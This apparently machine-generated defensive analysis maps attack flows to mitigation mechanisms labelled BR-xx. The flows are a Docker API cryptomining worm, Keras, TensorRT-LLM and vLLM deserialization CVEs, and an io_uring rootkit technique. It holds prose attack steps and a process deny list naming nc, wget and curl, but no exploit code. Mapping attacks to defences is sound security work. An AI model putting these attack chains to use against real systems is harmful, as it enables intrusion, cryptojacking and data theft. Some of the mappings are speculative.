F1: Initial compromise of a host via an exposed Docker API, deployment of malware, and commencement of cryptomining.

• Attacker discovers a Docker API endpoint exposed to the internet, typically on port 2375. (Cited from: "exploiting insecurely published Docker APIs", "Docker APIs exposed to the internet, typically on port 2375")
• The attacker gains access to the Docker daemon via the exposed API and creates a new container, often using an ubuntu:18.04 base image. (Cited from: "Upon gaining access, the threat actor deploys two UPX-packed Golang binaries", "Creating new malicious containers (based on ubuntu:18.04) on vulnerable remote hosts")
  • BR-47: Container Capability Control - This mechanism is applicable because it enforces specified capabilities for containers, potentially limiting the harm of a maliciously created container if the attacker attempts to grant it excessive privileges during creation through the compromised API.
• Two UPX-packed Golang malware binaries, nginx (Trojan.Linux.Agent.gen) and cloud (RiskTool.Linux.Miner.gen), are deployed into the compromised container. (Cited from: "deploys two UPX-packed Golang binaries: nginx (Trojan.Linux.Agent.gen) ... cloud (RiskTool.Linux.Miner.gen)")
• The nginx malware, which masquerades as a legitimate nginx web server, is executed and ensures the cloud miner is also running. (Cited from: "nginx (Trojan.Linux.Agent.gen): This malware is responsible for propagation and persistence. It masquerades as the legitimate nginx web server.", "Maintaining the presence of the cloud miner.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because nginx and cloud are new executable binaries not part of the original container image. If this software ran inside a container, then this mechanism applies because it prevents the execution of these new, unauthorized binaries.
  • BR-88: Process Path Exec Allow - This mechanism is applicable because it restricts process execution to allowed paths. If the paths /usr/bin/nginx and /usr/bin/cloud (where malware is placed) are not in the pre-defined allowlist for the container, their execution would be blocked.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because it prevents unauthorized new processes like nginx and cloud from starting within the container environment, as these malware instances are not legitimate, authorized processes for the workload.
  • BR-67: Container Root User Control - This mechanism is applicable if the nginx or cloud malware attempts to run as the root user within the container (and is not the init process/PID 1). The persistence method in /root/.bash_aliases suggests a root context.
  • BR-90: Process Exec Deny - This mechanism is applicable if policies were configured to deny execution of processes named nginx or cloud (if these names were known to be malicious and added to a deny list). The default deny list (nc, wget, curl) would not catch these specific names.
• The cloud Dero cryptocurrency miner utilizes the compromised container's resources for mining, using hardcoded, encrypted Dero wallet and node addresses. (Cited from: "cloud (RiskTool.Linux.Miner.gen): This is the Dero cryptocurrency miner... executed by the nginx malware to utilize the compromised container's resources for mining Dero.", "miner contains hardcoded, encrypted configuration details, including a Dero wallet address and DeroHE node addresses.")
  • BR-87: Process Socket Deny - This mechanism is applicable because the cloud miner needs to connect to DeroHE node addresses. If the cloud process is not on the allowlist for initiating network connections, its communication with mining pools/nodes would be blocked, rendering the miner ineffective. This constitutes an unauthorized network activity by a specific process.
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, then this mechanism applies because it would prevent the execution of the cloud miner if it's a new binary not part of the original image.
  • BR-88: Process Path Exec Allow - This mechanism would apply if the path to the cloud miner is not in the allowed execution paths for the container.
  • BR-82: Process Runtime Execution Guardrails - This mechanism would apply by preventing the unauthorized cloud miner process from starting.
  • BR-67: Container Root User Control - This mechanism would apply if the cloud miner runs as root within the container (and is not PID 1).
• The nginx malware establishes persistence within the container by adding itself to /root/.bash_aliases. (Cited from: "Establishing persistence by adding the nginx binary to /root/.bash_aliases within compromised containers.")
  • BR-91: Sensitive File Access - This mechanism is applicable because /root/.bash_aliases is a sensitive configuration file that controls command execution at shell startup. Modifying it is an attempt to alter execution flow, and BR-91 can monitor and block unauthorized modifications to such designated sensitive files.
• The nginx malware logs its activities to /var/log/nginx.log. (Cited from: "Logging its activities to /var/log/nginx.log.")

​

F2: Automated propagation of the malware from an infected container to new vulnerable Docker hosts.

• The nginx malware running in an infected container uses masscan to scan random IPv4 /16 subnets for other Docker APIs exposed on port 2375. (Cited from: "Scanning random IPv4 /16 subnets for exposed Docker APIs (port 2375) using masscan.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, then this mechanism applies by preventing the execution of masscan if it's a new binary introduced by nginx and not part of the original container image.
  • BR-88: Process Path Exec Allow - This mechanism applies by blocking the execution of masscan if its path is not on the container's allowed execution path list.
  • BR-82: Process Runtime Execution Guardrails - This mechanism applies by preventing masscan (an unauthorized process for network scanning) from starting if initiated by nginx.
  • BR-87: Process Socket Deny - This mechanism applies by blocking the network connections masscan attempts to make for scanning, if masscan is not on the process allowlist for network activity.
  • BR-90: Process Exec Deny - This mechanism is applicable if masscan or its path suffix were added to a deny list. While not on the default list, it's a common tool that could be denied.
• Upon discovering a new vulnerable host with an exposed Docker API, nginx connects to it.
  • BR-87: Process Socket Deny - This mechanism is applicable because the nginx malware is initiating an outgoing network connection to the newly discovered vulnerable host. If nginx is not on the allowlist for initiating network connections, this attempt would be blocked.
• A new malicious container, based on ubuntu:18.04, is created on the newly identified vulnerable remote host. (Cited from: "Creating new malicious containers (based on ubuntu:18.04) on vulnerable remote hosts.")
  • BR-47: Container Capability Control - On the remote host, this mechanism applies by potentially limiting the capabilities of the newly created malicious container if excessive privileges are requested.
• The nginx malware installs necessary dependencies, such as masscan and docker.io, within the new container on the remote host. (Cited from: "Installing dependencies (masscan, docker.io) ... into the newly created containers.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside the new remote container, then this mechanism applies by preventing the execution of the newly installed masscan and docker.io binaries, as they were not part of that container's original image at its load time.
  • BR-88: Process Path Exec Allow - Within the new remote container, this mechanism would apply to block execution of masscan and docker.io if their installation paths are not on the allowlist.
  • BR-82: Process Runtime Execution Guardrails - Within the new remote container, this mechanism would apply to prevent these newly installed and likely unauthorized processes (masscan, docker.io) from starting.
• Copies of the nginx and cloud binaries are transferred into the newly created container on the remote host. (Cited from: "transferring the nginx and cloud binaries into the newly created containers.")
• The nginx malware is executed in the new remote container, which in turn starts the cloud miner and begins scanning for more victims, effectively making the new victim a propagator. (Cited from: "The attack chain is automated: an infected container scans for vulnerable Docker APIs, compromises new hosts, creates malicious containers... turning the new victims into propagators themselves.")
  • BR-54: Container Drift Protection (Binaries & Scripts) - On the new remote container, this mechanism applies to block execution of the transferred nginx and cloud binaries as they are new to this container instance.
  • BR-88: Process Path Exec Allow - On the new remote container, this applies if paths of nginx/cloud are not allowed.
  • BR-82: Process Runtime Execution Guardrails - On the new remote container, this applies to block these unauthorized processes.
  • BR-67: Container Root User Control - On the new remote container, this applies if nginx/cloud run as root.
  • BR-87: Process Socket Deny - On the new remote container, this applies to block network scanning/mining connections by nginx/cloud.
• Persistence for nginx is established in the new remote container via /root/.bash_aliases. (Cited from: "Establishing persistence by adding the nginx binary to /root/.bash_aliases within compromised containers.")
  • BR-91: Sensitive File Access - On the new remote container, this mechanism applies to protect /root/.bash_aliases from unauthorized modification.

​

F3: Intra-host infection: the nginx malware spreads to other existing containers on an already compromised host.

• The nginx malware on a compromised host identifies other existing ubuntu:18.04 containers running on the same host. (Cited from: "Identifying and infecting existing ubuntu:18.04 containers on the compromised host")
  • BR-47: Container Capability Control - If the initial container housing nginx lacks the necessary capabilities (e.g., to mount/access the Docker socket or use host IPC), it would be prevented from discovering or interacting with other containers via the Docker daemon.
  • BR-87: Process Socket Deny - If nginx needs to communicate with the Docker socket over a Unix domain socket to list containers, and nginx's process is denied socket access, this could prevent the discovery.
• For each identified ubuntu:18.04 container, nginx checks for the presence of /usr/bin/version.dat to determine if it has been previously infected. (Cited from: "checked via the presence of /usr/bin/version.dat")
  • BR-49: Namespace Execution Guard - If nginx uses a command like docker exec to enter the target container's namespace to check for the file, BR-49 could apply. docker exec involves setns syscalls. If the process initiating this (e.g., docker CLI if called by nginx) is not a recognized service, its attempt to manipulate namespaces could be blocked.
  • BR-54: Container Drift Protection (Binaries & Scripts) - If nginx executes a docker CLI binary from within its container to perform docker exec, and this docker binary was not part of the original image of nginx's container, its execution would be blocked by BR-54.
• If an existing ubuntu:18.04 container is found not to be infected (i.e., /usr/bin/version.dat is absent), the nginx malware proceeds to infect it. (Cited from: "infecting existing ubuntu:18.04 containers on the compromised host that have not been previously infected")
• The infection process involves transferring the nginx and cloud binaries into the uninfected existing container and executing nginx. (Cited from: "transferring the nginx and cloud binaries", implicitly from the description of how new containers are infected)
  • BR-54: Container Drift Protection (Binaries & Scripts) - Inside the target existing container, this mechanism applies by preventing the execution of the newly transferred nginx binary.
  • BR-88: Process Path Exec Allow - Inside the target existing container, this mechanism applies if the path for the new nginx binary is not in an allowed execution directory.
  • BR-82: Process Runtime Execution Guardrails - Inside the target existing container, this mechanism applies by preventing the unauthorized nginx process from starting.
  • BR-67: Container Root User Control - Inside the target existing container, this mechanism applies if the new nginx process attempts to run as root (and is not PID 1).
• Persistence for nginx is established in the newly infected existing container, typically via /root/.bash_aliases. (Cited from: "Establishing persistence by adding the nginx binary to /root/.bash_aliases within compromised containers.")
  • BR-91: Sensitive File Access - Inside the newly infected existing container, this mechanism applies to protect /root/.bash_aliases from unauthorized modification.
• The newly infected existing container then also runs the cloud miner. (Cited from: "deploy the miner")
  • BR-54: Container Drift Protection (Binaries & Scripts) - Inside the newly infected existing container, this applies to block the execution of the new cloud binary.
  • BR-88: Process Path Exec Allow - Inside the newly infected existing container, this applies if cloud's path is not allowed.
  • BR-82: Process Runtime Execution Guardrails - Inside the newly infected existing container, this applies to block the unauthorized cloud process.
  • BR-67: Container Root User Control - Inside the newly infected existing container, this applies if cloud runs as root.
  • BR-87: Process Socket Deny - Inside the newly infected existing container, this applies to block network connections by cloud.

​

F4: Compromise of Kubernetes clusters with anonymous authentication enabled, using a malicious Docker Hub image (observed in previous campaigns).

• Attacker identifies a Kubernetes cluster where anonymous authentication is enabled on the API server. (Cited from: "Previous campaigns ... targeting Kubernetes clusters with anonymous authentication enabled")
• Using anonymous access, the attacker interacts with the Kubernetes API to deploy workloads.
  • BR-57: Cluster Drift Protection - If this vulnerability affects Kubernetes environments, then this mechanism applies because it prevents unauthorized pod creation. Deployment via anonymous, unauthenticated API access would be considered an unauthorized deployment channel if policies enforced by BR-57 restrict pod creation to authenticated and authorized entities.
  • BR-47: Container Capability Control - This mechanism applies by restricting the capabilities that can be assigned to pods deployed via anonymous access, even if the deployment itself is permitted by a misconfigured K8s API. This limits the potential impact of the deployed pod.
• The attacker deploys a pod by instructing the Kubernetes API to pull a malicious Docker Hub image, such as pauseyyf/pause:latest, which already contains the Dero miner. (Cited from: "threat actors pulled a malicious Docker Hub image (pauseyyf/pause:latest) containing the miner instead of transferring binaries.")
  • BR-57: Cluster Drift Protection - As in the previous step, this applies if the anonymous deployment channel is considered unauthorized by BR-57's policies.
  • BR-47: Container Capability Control - As in the previous step, this limits the capabilities of the pod created from the malicious image.
• Once the pod is scheduled and the malicious image is pulled, the container starts, and the embedded Dero miner begins operation, using the same Dero wallet and node addresses as the Docker API campaign. (Cited from: "containing the miner", "Previous campaigns using the same Dero wallet address and node addresses have been observed")
  • BR-88: Process Path Exec Allow - This mechanism applies if the path of the Dero miner executable within the malicious image (pauseyyf/pause:latest) is not on the pre-defined allowlist of execution paths for containers in the environment.
  • BR-82: Process Runtime Execution Guardrails - This mechanism applies by preventing the Dero miner process from starting if it's not an explicitly authorized process for workloads running that image or in that namespace.
  • BR-67: Container Root User Control - This mechanism applies if the Dero miner process within the container runs as root and is not the init process (PID 1).
  • BR-87: Process Socket Deny - This mechanism applies by blocking the Dero miner's outbound network connections to its wallet/node addresses if the miner process is not on the allowlist for network access.
  • BR-90: Process Exec Deny - This mechanism would apply if the Dero miner's executable name or path suffix (e.g., /miner_binary) was on a configured deny list.

F1: Exploitation of Keras CVE-2025-1550 to achieve Arbitrary Code Execution (ACE) by tricking a victim into loading a maliciously crafted .keras model file. The attack works even if safe_mode=True is enabled during model loading.

• Attacker identifies a target system using a Keras version prior to 3.9. (Cited from: "The vulnerability affects Keras versions prior to 3.9.")
• Attacker crafts a malicious .keras archive file. (Cited from: "An attacker can craft a malicious .keras archive file")
• Within this .keras archive, the attacker manipulates the config.json file. (Cited from: "by manipulating the config.json file contained within it.")
• In the manipulated config.json, the attacker specifies arbitrary Python modules and functions, along with their arguments, intended for execution. (Cited from: "This manipulation allows the attacker to specify arbitrary Python modules and functions, along with their arguments")
• The attacker ensures the victim loads this malicious .keras file using the Model.load_model function in their Keras application. (Cited from: "when loading a maliciously crafted model file", "The vulnerability resides within the Model.load_model function.")
• During the loading process, the Model.load_model function, despite safe_mode=True potentially being set, processes the compromised config.json. (Cited from: "It was found that even when the safe_mode=True option is enabled, the function is susceptible to exploitation.")
• As a result, the arbitrary Python modules and functions specified by the attacker are loaded and executed on the victim's system. (Cited from: "which are then loaded and executed during the model loading process on the victim's system.")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because the Keras Model.load_model function, when processing a crafted .keras archive with a manipulated config.json, effectively deserializes or reconstructs objects and executes specified Python functions. BR-76 is designed to limit actions Python deserialized objects can take, specifically restricting the execution of function calls originating from them, which directly addresses the execution of arbitrary Python functions specified in config.json. The LLM Correlation Rule requires explicit mention of Python and 'deserialization' or CWE-502/CWE-20. While 'deserialization' isn't explicit for config.json processing, the act of loading a model from a structured file and executing code based on its contents is conceptually similar and involves untrusted input leading to arbitrary function execution, fitting the mechanism's intent to block such function calls.
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because the vulnerability allows the execution of arbitrary Python modules and functions. Such execution falls under 'Python command execution' as per the LLM Correlation Rule. If these executed Python functions subsequently attempt to execute system-native binaries or shell commands, BR-77 would identify and block these OS command injection attempts. The vulnerability provides the means for this type of command execution.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable because the vulnerability leads to Arbitrary Code Execution (ACE). If the Keras application is running inside a container, the execution of arbitrary Python modules and functions specified by the attacker constitutes new code that was not part of the original container image. BR-54 prevents the execution of such new/drifted executable code (including interpreted Python scripts or modules if they are written to disk or loaded in a way that triggers this mechanism). The LLM Correlation Rule states that if the vulnerability allows 'remote code execution' or 'attacker to run OS level commands/shell commands', the mechanism applies with hedging for containerized environments.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable because the execution of arbitrary Python modules and functions constitutes unauthorized process execution. BR-82 is designed to prevent unauthorized new processes from starting or unauthorized code from running. The LLM Correlation Rule requires mention of 'unauthorized process execution' or 'CWE-78'/'CWE-77', which aligns with the arbitrary code execution nature of the CVE.
  • BR-55: Reverse Shell Protection - This mechanism is applicable because the CVE allows for arbitrary code execution. As per the LLM Correlation Rule for BR-55, if a vulnerability leads to 'remote code execution' (which ACE is a form of), it should be assumed that an attacker can establish a reverse shell. The arbitrary Python code executed can be used to initiate a network connection back to the attacker.
• The attacker achieves arbitrary code execution on the victim's system, potentially leading to data compromise, system control, or further network penetration. (Cited from: "The successful exploitation of this vulnerability enables an attacker to execute arbitrary code on the system running the vulnerable Keras version, potentially leading to data compromise, system control, or further network penetration.")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it aims to prevent the initial arbitrary Python function execution that leads to ACE, by restricting function calls originating from the model loading process (deserialization).
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because it aims to block any OS command injection attempts made by the arbitrary Python code that gets executed, thus preventing or limiting the scope of the ACE.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable as it seeks to prevent the execution of the arbitrary code itself if the Keras application is containerized and the code is new/drifted.
  • BR-82: Process Runtime Execution Guardrails - This mechanism is applicable as it seeks to prevent the unauthorized execution of the arbitrary Python code or any subsequent processes it might spawn.
  • BR-55: Reverse Shell Protection - This mechanism is applicable because it aims to prevent one of the common outcomes of ACE, which is establishing a reverse shell for command and control.

F1: Exploitation of CVE-2025-23254 via malicious pickle deserialization in the Python executor's IPC channel, leading to arbitrary code execution.

• Attacker gains local access to a system running a vulnerable version of NVIDIA TensorRT-LLM (any version prior to 0.18.2). (Cited from: "A local attacker with access to the system could exploit this vulnerability", "This flaw affects all versions prior to 0.18.2 across Windows, Linux, and macOS platforms.")
• Attacker identifies the Inter-Process Communication (IPC) mechanism utilized by the Python executor component within TensorRT-LLM. (Cited from: "improper handling of Inter-Process Communication (IPC) within the Python executor component.")
• Attacker crafts a malicious payload using Python's pickle module. This payload is specifically designed to execute arbitrary commands or code when it is deserialized by a vulnerable application. (Cited from: "the use of the Python pickle module for serialization and deserialization of untrusted data (CWE-502)", "exploit this vulnerability to execute arbitrary malicious code")
• Attacker injects the crafted malicious pickled data into the identified IPC channel, targeting the TensorRT-LLM Python executor. (Cited from: "deserialization of untrusted data", "IPC within the Python executor component")
• The Python executor component of the vulnerable TensorRT-LLM version receives and processes the injected data, attempting to deserialize it using the pickle module. (Cited from: "deserialization of untrusted data")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because the vulnerability involves Python deserialization (CWE-502). BR-76 intercepts the Python deserialization process and applies security policies to restrict function calls originating from deserialized objects, potentially blocking the execution of malicious functions before full code execution occurs.
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable because the vulnerability involves Python and leads to arbitrary code execution, which can be seen as a form of OS command injection or unauthorized Python command execution. BR-77 monitors Python runtime environments for suspicious patterns indicative of command injection and blocks unauthorized command execution attempts.
• Due to the CWE-502 vulnerability (improper deserialization of untrusted data), the pickle module executes the arbitrary malicious code embedded within the payload during the deserialization process, granting the attacker code execution capabilities within the context of the TensorRT-LLM application. (Cited from: "execute arbitrary malicious code", "CWE-502")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it aims to limit the actions that Python deserialized objects can take. By intercepting the deserialization process, it enforces policies to restrict function calls from deserialized objects, potentially blocking the execution of the arbitrary malicious code mentioned.
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable as it monitors Python runtime environments for attempts to execute system-native binaries or shell commands from within Python applications, which aligns with the scenario of arbitrary code execution resulting from the pickle deserialization. It would identify and block such unauthorized command execution.
  • BR-55: Reverse Shell Protection - This mechanism is applicable because the vulnerability allows arbitrary code execution. As per its LLM Correlation Rule, if RCE is achieved, it's assumed a reverse shell could be established. BR-55 would prevent the binding of shell STDIN/STDOUT/STDERR to network sockets, blocking such an attempt.
  • BR-54: Container Drift Protection (Binaries & Scripts) - If the vulnerable TensorRT-LLM software ran inside a container, then this mechanism applies because the execution of arbitrary malicious code could involve introducing new executable binaries or scripts not part of the original container image. BR-54 would block the execution of such new, unauthorized code.
  • BR-62: Linux/Host Drift Protection - This mechanism is applicable if the TensorRT-LLM is running on a Linux host, as arbitrary code execution might involve adding new files/scripts outside trusted package managers and then executing them. BR-62 tracks installations via trusted package managers and blocks execution of code added otherwise.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the arbitrary code execution involves writing a new executable or script to a non-standard or temporary filesystem path and then attempting to execute it from that path. BR-88 would block execution from non-allowlisted paths.
  • BR-90: Process Exec Deny - This mechanism is applicable if the arbitrary malicious code attempts to execute a process explicitly on the deny list, such as /nc, /wget, or /curl, by matching the final suffix path of the command.

​

F2: Exploitation of CVE-2025-23254 to achieve data tampering or sensitive information disclosure through the Python pickle vulnerability in the IPC channel.

• An attacker, having obtained local access, targets a system with an unpatched NVIDIA TensorRT-LLM installation (version prior to 0.18.2). (Cited from: "A local attacker with access to the system could exploit this vulnerability", "all versions prior to 0.18.2")
• The attacker prepares a specialized pickle payload. This payload contains instructions not for direct command execution, but for actions such as reading specific files, modifying data structures in memory, or exfiltrating sensitive information accessible to the TensorRT-LLM process. (Cited from: "tamper with data, or disclose sensitive information", "use of the Python pickle module for serialization and deserialization of untrusted data")
• The attacker introduces this data-focused malicious pickled object into the IPC channel of the TensorRT-LLM Python executor. (Cited from: "IPC within the Python executor component", "deserialization of untrusted data")
• The Python executor component deserializes the attacker's pickled object. (Cited from: "deserialization of untrusted data")
  • BR-76: Python Deserialization Protection - This mechanism is applicable as it addresses Python deserialization (CWE-502). It restricts the actions of deserialized objects, which could include blocking function calls used for unauthorized file reading or data modification, even if not direct OS command execution.
• Upon deserialization, the embedded instructions are executed, leading to unauthorized access and exfiltration of sensitive information (e.g., model parameters, proprietary data) or the unauthorized modification of data processed or managed by the TensorRT-LLM framework. (Cited from: "tamper with data, or disclose sensitive information")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it limits the actions of deserialized Python objects. The execution of instructions for unauthorized data access or modification would be subject to its policy enforcement, potentially blocking harmful function calls.
  • BR-91: Sensitive File Access - This mechanism is applicable if the 'sensitive information' disclosure involves reading files that are on BlueRock's predefined or user-configured list of sensitive files (e.g., configuration files with secrets, private keys). BR-91 monitors and can block access to such files.
  • BR-87: Process Socket Deny - This mechanism is applicable if the 'exfiltration of sensitive information' involves the compromised TensorRT-LLM process initiating new, unauthorized network connections. BR-87 can deny socket operations for processes not on an allowlist.

F1: Direct exploitation of CVE-2025-32444 by sending a malicious pickle payload over an unsecured ZeroMQ socket to the recv_pyobj() function in vLLM's Mooncake integration, leading to Remote Code Execution.

• Attacker identifies a vLLM deployment actively utilizing the Mooncake integration for distributed key-value (KV) transfer in an affected version (greater than or equal to 0.6.5). (Cited from: "vLLM deployments that actively utilize the Mooncake integration for distributed key-value (KV) transfer in versions greater than or equal to 0.6.5.")
• Attacker crafts a malicious serialized Python object (pickle payload) designed to execute arbitrary code upon deserialization. (Cited from: "Using pickle.loads() on untrusted data is a known security risk as it can allow an attacker to execute arbitrary code on the system.")
• Attacker establishes a connection and sends the crafted malicious pickle payload to the vulnerable vLLM instance over an unsecured ZeroMQ socket targeting the Mooncake integration. (Cited from: "process incoming data received over unsecured ZeroMQ sockets.")
• The recv_pyobj() function within vllm/vllm/distributed/kvtransfer/kvpipe/mooncake_pipe.py receives the attacker's data. (Cited from: "The flaw stems from the insecure handling of serialized data within the recv_pyobj() function located in the vllm/vllm/distributed/kvtransfer/kvpipe/mooncake_pipe.py file.")
• The recv_pyobj() function insecurely uses pickle.loads() to deserialize the received payload. (Cited from: "This function implicitly uses Python's pickle.loads() to process incoming data received over unsecured ZeroMQ sockets.")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because the vulnerability explicitly involves Python deserialization (pickle.loads()). BR-76 is designed to limit the actions that Python deserialized objects are allowed to take by intercepting the deserialization process and applying policies to restrict function calls from deserialized objects, potentially preventing the RCE.
• The malicious code embedded within the deserialized pickle payload executes on the target system, resulting in Remote Code Execution (RCE). (Cited from: "Using pickle.loads() on untrusted data is a known security risk as it can allow an attacker to execute arbitrary code on the system.", "indicating a severe risk of Remote Code Execution (RCE).")
  • BR-76: Python Deserialization Protection - This mechanism is applicable because it aims to prevent the execution of function calls from deserialized Python objects. By blocking these calls, it can prevent the malicious code within the pickle payload from achieving RCE. The LLM rule is met as the vulnerability involves Python and deserialization.
  • BR-77: Python OS Command Injection Prevention - This mechanism is applicable if the RCE achieved through the pickle payload involves executing system-native binaries or shell commands from within the Python application. BR-77 monitors Python runtime environments for such patterns and blocks unauthorized command execution. The LLM rule is met as the vulnerability involves Python and leads to RCE, which often translates to Python command execution or OS command injection.
  • BR-55: Reverse Shell Protection - This mechanism is applicable because the vulnerability leads to RCE. According to its LLM Correlation Rule, if RCE is achieved, it's assumed the attacker can establish a reverse shell. BR-55 prevents the binding of shell STDIN/STDOUT/STDERR to network sockets, thus blocking reverse shells.
  • BR-54: Container Drift Protection (Binaries & Scripts) - This mechanism is applicable if the vulnerable vLLM software runs inside a container and the RCE involves executing new executable binaries or scripts not present in the original container image. BR-54 prevents such executions. The LLM rule is met due to the RCE.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the RCE involves the attacker placing and then executing a binary or script from a non-standard or temporary path. BR-88 enforces an allowlist for execution paths, blocking exec() calls from disallowed locations. The LLM rule is met if execution from such a path occurs due to RCE.
  • BR-90: Process Exec Deny - This mechanism is applicable if the RCE attempts to execute specific denied processes, such as /nc, /wget, or /curl. BR-90 blocks execution of processes whose path ends with these predefined suffixes.

F1: Basic rootkit installation and kernel code execution using io_uring manipulation.

• Attacker gains initial access to the target Linux system with privileges sufficient to interact with the io_uring subsystem (this initial access method is outside the scope of the described technique but is a prerequisite).
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, then this mechanism applies because it prevents the execution of any new executable binaries or scripts (potentially used for initial access) that were not part of the original container image at load time.
  • BR-62: Linux/Host Drift Protection - This mechanism applies because it tracks code installation via trusted package managers and blocks the execution of any new files (potentially used for initial access) added outside of these managers.
  • BR-65: Container Host Drift Prevention - If this vulnerability affects container hosts, then this mechanism applies because it ensures only allow-listed privileged containers and host processes can execute new or modified files added to the host filesystem after bootup.
  • BR-80: Tainted File Download Protection - This mechanism applies if the initial access involves downloading compiled or interpreted code via tools like wget or curl and then executing it, as it blocks this specific sequence.
  • BR-88: Process Path Exec Allow - This mechanism applies by preventing the execution of initial access tools or payloads if they are placed in and run from a filesystem path not on the configured allowlist.
  • BR-90: Process Exec Deny - This mechanism applies if the initial access involves executing tools explicitly blocked by the deny list policy (e.g., processes ending in /nc, /wget, /curl).
• Attacker crafts malicious io_uring submission queue entries (SQEs). (Cited from: "manipulating the io_uring submission queue (SQ) and completion queue (CQ)", "craft malicious io_uring submission queue entries (SQEs)")
• The crafted SQEs are designed such that their processing by kernel io_uring worker threads leads to the execution of attacker-controlled code within the kernel context. (Cited from: "when processed by the kernel's io_uring worker threads, execute attacker-controlled code", "carefully setting up the SQE structure, particularly the opcode and arguments, to trigger unintended kernel operations or redirect execution flow")
  • BR-73: Kernel CET/IBT Guard - This mechanism is potentially applicable if the execution of attacker-controlled code involves hijacking indirect branches (Jump-Oriented Programming). It leverages Intel CET/IBT to enforce control-flow integrity against such attacks on CET-enabled hardware.
  • BR-81: Kernel CET/Shadow Stack Guard - This mechanism is potentially applicable if the execution of attacker-controlled code involves hijacking return addresses (Return-Oriented Programming). It leverages Intel CET/Shadow Stack to enforce return address integrity against such attacks on CET-enabled hardware.
• The malicious SQEs are submitted to the io_uring submission queue (SQ). (Cited from: "submitting specially crafted io_uring requests")
  • BR-83: Syscall Deny Filter - This mechanism could potentially apply if a policy is configured to explicitly deny the iouringenter system call, which would prevent the submission of the malicious SQEs.
• The kernel's io_uring worker threads process the malicious SQEs from the SQ.
• Attacker achieves arbitrary code execution within the kernel's address space. (Cited from: "execute arbitrary code within the kernel context", "gains the ability to execute code within the kernel's address space")
• Using the obtained kernel code execution capability, the attacker installs rootkit components to perform malicious actions like hiding processes, files, or network connections, escalating privileges, or installing backdoors. (Cited from: "perform typical malicious actions such as hiding processes, files, or network connections, escalating privileges, or installing backdoors")
  • BR-24: File Operations Protection - This mechanism is applicable because it detects and prevents rootkit activities that involve modifying file operation data structures, often used to hide files or processes.
  • BR-30: Process Credential Protection - This mechanism is applicable because it detects and prevents unauthorized privilege escalation attempts that overwrite or redirect kernel process credentials, which the attacker might attempt after gaining kernel execution.
  • BR-31: Privileged Inode Protection - This mechanism is applicable if the rootkit installation involves modifying privileged (SUID/SGID) file inodes for persistence or privilege escalation.
  • BR-35: Kernel Integrity Protection - This mechanism is applicable because it protects kernel code and read-only data regions from unauthorized write attempts, which might occur during rootkit installation.
  • BR-39: Integrity Patch Violation - This mechanism is applicable because it detects and blocks unauthorized or malicious patch attempts to the guest kernel code, which the rootkit might use.
  • BR-54: Container Drift Protection (Binaries & Scripts) - If this software ran inside a container, then this mechanism applies because it prevents the execution of any new executable binaries or scripts (rootkit components) dropped into the container after load time.
  • BR-55: Reverse Shell Protection - This mechanism is applicable if the installed backdoor attempts to establish a reverse shell by binding shell I/O to a network socket.
  • BR-62: Linux/Host Drift Protection - This mechanism applies if the rootkit installation involves dropping new executable files onto the host filesystem outside of trusted package managers.
  • BR-65: Container Host Drift Prevention - If this vulnerability affects container hosts, then this mechanism applies because it prevents non-allow-listed processes or containers from executing new or modified files (like rootkit components) added to the host filesystem after bootup.
  • BR-75: Critical Directory Write Protection - This mechanism is applicable if the rootkit attempts to write to critical system directories protected by policy.
  • BR-87: Process Socket Deny - This mechanism is applicable if the rootkit components (e.g., for C2) attempt network communication and the executing process is denied socket access by policy.
  • BR-88: Process Path Exec Allow - This mechanism is applicable if the rootkit components are executed from a filesystem path not included in the configured allowlist.
  • BR-91: Sensitive File Access - This mechanism is applicable if the rootkit attempts to read or write sensitive files (like /etc/shadow, SSH keys) protected by policy.
  • BR-94: Netfilter Hook Protection - This mechanism is applicable if the rootkit attempts to hide network connections or manipulate traffic by registering malicious Netfilter hooks.

​

F2: Bypassing modern kernel security mechanisms using io_uring for stealthy execution.

• Attacker targets systems with modern kernel security features like Kernel Page Table Isolation (KPTI) or Supervisor Mode Execution Prevention (SMEP) enabled. (Cited from: "often protected by modern security features like Kernel Page Table Isolation (KPTI) or Supervisor Mode Execution Prevention (SMEP)")
• Attacker avoids traditional rootkit techniques like modifying the system call table (syscalltable) or function pointers, which are often monitored or protected. (Cited from: "without relying on traditional methods like modifying system call tables (syscalltable) or function pointers")
• Instead, the attacker interacts with the legitimate io_uring subsystem by crafting specific SQEs. (Cited from: "operates within the legitimate io_uring framework")
  • BR-73: Kernel CET/IBT Guard - This mechanism is potentially applicable if the processing of the crafted SQE leads to an indirect branch hijack (JOP). CET/IBT aims to prevent such control-flow transfers on compatible hardware.
  • BR-81: Kernel CET/Shadow Stack Guard - This mechanism is potentially applicable if the processing of the crafted SQE leads to a return address hijack (ROP). CET/Shadow Stack aims to prevent such control-flow transfers on compatible hardware.
  • BR-83: Syscall Deny Filter - This mechanism could potentially apply if a policy is configured to deny iouringsetup or iouringenter syscalls, preventing interaction with the subsystem.
• By manipulating the SQEs, the attacker triggers kernel code execution indirectly through the io_uring processing logic, thus circumventing checks on syscalltable integrity or direct execution attempts blocked by SMEP/KPTI. (Cited from: "circumvents common kernel security defenses designed to prevent unauthorized kernel modifications or execution", "bypasses security mechanisms")
  • BR-73: Kernel CET/IBT Guard - This mechanism is potentially applicable as it specifically complements SMEP/SMAP by preventing indirect branch hijacking (JOP) that could be used to gain execution despite memory protections. Requires CET hardware.
